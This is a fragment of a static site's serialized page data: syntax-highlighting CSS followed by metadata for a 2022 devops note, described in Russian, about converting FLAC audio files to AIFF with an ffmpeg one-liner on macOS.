.sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":60,"searchDepth":61,"depth":61,"links":1171},[],"2022-08-10","Однострочник для конвертации всех FLAC файлов в AIFF через ffmpeg на macOS",{},"\u002Fnotes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg",{"title":1059,"description":1173},"notes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg",[1179,1180,1055,1181],"ffmpeg","audio","macos","eSrfOKrhJhEudfeuEd5ti516NYPB5St5RfesDpohskc",1776084468190]